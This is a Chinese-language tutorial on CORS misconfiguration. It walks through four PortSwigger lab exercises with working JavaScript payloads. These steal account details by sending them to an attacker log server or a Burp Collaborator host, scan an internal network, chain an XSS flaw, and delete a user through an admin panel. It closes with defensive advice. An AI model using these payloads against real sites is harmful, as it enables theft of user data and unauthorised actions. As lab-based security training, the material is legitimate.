CORS介绍
Cors全称”跨域资源共享”(Cross-origin resource sharing),CORS的出现是用来弥补SOP(同源策略)的不足。在当时SOP有些限制了网页的业务需求,不能够使不同域的网页互相访问,因此提出了CORS:用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。(CORS使用自定义的HTTP头部让浏览器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。)
Cors漏洞就是攻击者利用Cors技术来获取用户的敏感数据,从而导致用户敏感信息泄露。
同源策略
SOP,同源策略 (Same Origin Policy),浏览器的同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。那么什么是同源呢,即两个站点之间需要满足同协议,同域名,同端口这三个条件。
CORS跨域漏洞
CORS请求可分为两类,简单请求和非简单请求。
简单请求
1、请求方式为GET,POST,HEAD这三种之一
2、HTTP头不超出以下这几个字段
1 2 3 4 5
| Accept Accept-Language Content-Language Last-Event-ID Content-Type:application/x-www-form-urlencoded、multipart/form-data、text/plain
|
当浏览器发现服务器的请求为简单请求时,会在头信息里加入Origin字段。Origin字段代表此次请求来自哪个域,服务器就可以检验是否来自该域。如果匹配,服务器就会在响应包中增添三个字段:
1 2 3
| Access-Control-Allow-Origin Access-Control-Allow-Credentials Access-Control-Expose-Headers
|
注:如果返回包中出现如下组合,则表示没有漏洞,因为浏览器会阻止如下的配置。
1 2
| Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
|
Access-Control-Allow-Origin表示允许跨域访问的host,后端将其设置成了’*’,代表允许所有网站的跨域请求,当这种情况的时候,即便Access-Control-Allow-Credentials为true,那也会被浏览器认定为是不安全的,就不能将cookie发送到服务端。
CORS中关键的几个响应头字段如下:
Access-Control-Allow-Origin:指定哪些外域可以访问本域资源
Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送Cookie。仅当设置为true时,才会发送Cookie;默认是false
Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET、POST、PUT、DELETE等)来访问资源
Access-Control-Allow-Headers:指定可以在请求报文中添加的HTTP头字段
Access-Control-Max-Age:指定超时时间
通过Burp Suite靶场来进一步学习CORS漏洞
Lab-1、CORS vulnerability with basic origin reflection
1、利用给定的账户进行登录,在My Account处发现用户的相关信息
2、利用burp suite抓取到关键数据包,在返回包中看到该用户的相关信息
3、在请求包中添加Origin字段
4、从上图可以看到,我们在添加了Origin字段之后,返回包中出现了如下字段
1 2
| Access-Control-Allow-Origin: http://evil.com Access-Control-Allow-Credentials: true
|
并且我们修改请求包中的Origin字段,返回包中Access-Control-Allow-Origin字段也会对应被改变
5、通过上述测试我们发现其存在CORS漏洞,我们可以构造如下POC进行漏洞利用
1 2 3 4 5 6 7 8 9 10 11
| <script> var req=new XMLHttpRequest(); req.onload=reqListener; req.open('get','https://0ac8005004a30638c01031f4006600ff.web-security-academy.net/accountDetails','true'); req.withCredentials=true; req.send();
function reqListener(){ alert(this.responseText); }; </script>
|
6、当受害者去访问这个html文件时,即可获得用户的敏感信息
7、实际情况中我们可以将其重定向到我们的服务器上,当受害者访问之后我们就可以在自己的服务器日志中得到受害者的敏感信息,我们可以构造如下POC
1 2 3 4 5 6 7 8 9 10 11
| <script> var req=new XMLHttpRequest(); req.onload=reqListener; req.open('get','https://0ac8005004a30638c01031f4006600ff.web-security-academy.net/accountDetails','true'); req.withCredentials=true; req.send();
function reqListener(){ location='http:xxx.xxx.xxx/log?key='+this.responseText; }; </script>
|
8、当受害者访问之后我们就可以在自己的服务器日志中得到受害者的敏感信息
Lab-2、CORS vulnerability with trusted null origin
1、使用给定的账户登录,抓取关键数据包
2、在请求包中添加Origin字段
3、从上图可以看到当我们添加了Origin字段之后,返回包中并没有出现Access-Control-Allow-Origin,但是当我们添加的Origin字段为null时,返回包中才出现了Access-Control-Allow-Origin字段(后端可能将null加入了白名单)
4、null在这种情况下,攻击者可以使用各种技巧来生成包含Origin 标头中的值的跨源请求。这样就会满足白名单,导致跨域访问。我们可以构造如下POC
1 2 3 4 5 6 7 8 9 10 11
| //利用iframe沙箱属性进行跨域请求 <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0abe0087036ececfc46ee2090093000f.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='http://xxx.xxx.xxx/log?key='+(this.responseText); //将其重定向到我们的服务器地址 }; </script>"></iframe>
|
5、受害者访问该html之后我们即可在服务器的日志中获取到受害者的敏感信息
Lab-3、CORS vulnerability with trusted insecure protocols
1、使用给定的账户登录,抓取关键数据包
2、在请求包中添加Origin字段
3、通过测试发现只有当Origin字段的值为受信任的源时,返回包中才会出现Access-Control-Allow-Origin字段(后端可能设置了Origin的白名单为该站点的子域或者根域)
4、但是如果白名单中的站点很容易遭受XSS攻击的话,攻击者可以向其投放恶意脚本然后利用CORS的信任关系执行它,这时我们需要找到一个容易遭受XSS攻击的站点(前提是这个站点必须是受信任的源)
5、如上图所示,我们在其子域上找到一个存在XSS漏洞的站点,至此,我们可以构造如下POC,利用XSS漏洞去执行我们的POC
1 2 3 4 5 6 7 8 9 10 11
| <script> var req=new XMLHttpRequest; req.onload=reqListener; req.open('get','https://0a1d00450359fba6c2bcedb600720021.web-security-academy.net/accountDetails',true); req.withCredentials=true; req.send();
function reqListener(){ alert(this.responseText); }; </script>
|
6、实际情况中我们可以将其重定向到我们的服务器上,当受害者访问之后我们就可以在自己的服务器日志中得到受害者的敏感信息,我们可以构造如下POC
1 2 3 4 5 6 7 8 9
| <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a590086041cd401c1953053008600f3.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send(); function reqListener() { location='http://xxx.xxx.xxx/log?key='%2bthis.responseText; }; </script>
|
7、当利用XSS漏洞执行上述脚本之后我们就可以在自己的服务器日志中得到受害者的敏感信息
Lab-4、CORS vulnerability with internal network pivot attack
1、在这个靶场中我们需要扫描内网,所以我们编写如下脚本投放给受害者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| //探测存活主机 <script> var q = [], collaboratorURL = 'http://7emaim7zfd0pzn3d38ogbmieh5nvbk.oastify.com'; for(i=1;i<=255;i++) { q.push(function(url) { return function(wait) { fetchUrl(url, wait); } }('http://192.168.0.'+i+':8080')); } for(i=1;i<=20;i++){ if(q.length)q.shift()(i*100); } function fetchUrl(url, wait) { var controller = new AbortController(), signal = controller.signal; fetch(url, {signal}).then(r => r.text().then(text => { location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now(); })) .catch(e => { if(q.length) { q.shift()(wait); } }); setTimeout(x => { controller.abort(); if(q.length) { q.shift()(wait); } }, wait); } </script>
|
2、我们将其发送给受害者,当主机存活时会向Burp Collaborator发送请求,我们在接收端即可收到相应的请求
3、我们在收到的请求当中获得了存货主机的IP和源码(code值URL解码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <!DOCTYPE html> <html> <head> <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet> <link href=/resources/css/labs.css rel=stylesheet> <title>CORS vulnerability with internal network pivot attack</title> </head> <body> <script src="/resources/labheader/js/labHeader.js"></script> <div id="academyLabHeader"> <section class='academyLabBanner'> <div class=container> <div class=logo></div> <div class=title-container> <h2>CORS vulnerability with internal network pivot attack</h2> <a id='exploit-link' class='button' target='_blank' href='http://exploit-0a78003803b49f2ac23e5c1001e200d8.exploit-server.net'>Go to exploit server</a> <a class=link-back href='https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack'> Back to lab description <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow> <g> <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon> <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon> </g> </svg> </a> </div> <div class='widgetcontainer-lab-status is-notsolved'> <span>LAB</span> <p>Not solved</p> <span class=lab-status-icon></span> </div> </div> </div> </section> </div> <div theme=""> <section class="maincontainer"> <div class="container is-page"> <header class="navigation-header"> <section class="top-links"> <a href=/>Home</a><p>|</p> <a href="/my-account">My account</a><p>|</p> </section> </header> <header class="notification-header"> </header> <h1>Login</h1> <section> <form class=login-form method=POST action=/login> <input required type="hidden" name="csrf" value="UG2TSzNyXOsGeiYRmYQc9NRsqiUKrg3W"> <label>Username</label> <input required type=username name="username"> <label>Password</label> <input required type=password name="password"> <button class=button type=submit> Log in </button> </form> </section> </div> </section> </div> </body> </html> &1677459597111
|
4、然后我们继续构造POC探测是否存在XSS漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13
| <script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r => r.text().then(text => { xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>'); })) } fetchUrl("http://192.168.0.50:8080", "http://jh4mlyabip312z6p6krseylqkhq8ex.oastify.com"); </script>
|
5、如下图所示,发现存在XSS漏洞
6、然后我们利用XSS漏洞获取它管理界面的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r=>r.text().then(text=> { xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">'); } )) } fetchUrl("http://192.168.0.50:8080", "http://jh4mlyabip312z6p6krseylqkhq8ex.oastify.com"); </script>
|
7、code值url解码之后我们获得了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <script src="/resources/labheader/js/labHeader.js"></script> <div id="academyLabHeader"> <section class="academyLabBanner"> <div class="container"> <div class="logo"></div> <div class="title-container"> <h2>CORS vulnerability with internal network pivot attack</h2> <a id="exploit-link" class="button" target="_blank" href="http://exploit-0a9e00f50469e8eec0a317d60190009e.exploit-server.net">Go to exploit server</a> <a class="link-back" href="https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack"> Back to lab description <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28 30" xml:space="preserve" title="back-arrow"> <g> <polygon points="1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon> <polygon points="14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15"></polygon> </g> </svg> </a> </div> <div class="widgetcontainer-lab-status is-notsolved"> <span>LAB</span> <p>Not solved</p> <span class="lab-status-icon"></span> </div> </div> </section></div>
<div theme=""> <section class="maincontainer"> <div class="container is-page"> <header class="navigation-header"> <section class="top-links"> <a href="/">Home</a><p>|</p> <a href="/admin">Admin panel</a><p>|</p> <a href="/my-account?id=administrator">My account</a><p>|</p> </section> </header> <header class="notification-header"> </header> <form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST"> <input required="" type="hidden" name="csrf" value="3lyIytVqzI4T15OPUqr5qguM9kx2mICd"> <label>Username</label> <input required="" type="text" name="username"> <button class="button" type="submit">Delete user</button> </form> </div> </section> </div>
|
8、通过审计源码得知这是一个删除用户的请求,并且它是以用户名来定位用户的,所以我们构造如下POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1]; } function fetchUrl(url){ fetch(url).then(r=>r.text().then(text=> { xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">'); } )) } fetchUrl("http://192.168.0.50:8080"); </script>
|
9、当我们将其发送给受害者,并且受害者成功访问之后我们即可成功删除指定用户了
如何防御CORS漏洞
1、正确配置跨域请求
应该在有敏感资源的页面中Access-Control-Allow-Origin头指定正确的可信源,仅允许可信任的站点进行跨域请求。
2、避免将null设置为白名单
应该避免设置Access-Control-Allow-Origin: null,因为有些攻击手段可以利用这一点发动CORS攻击,比如iframe沙箱等等。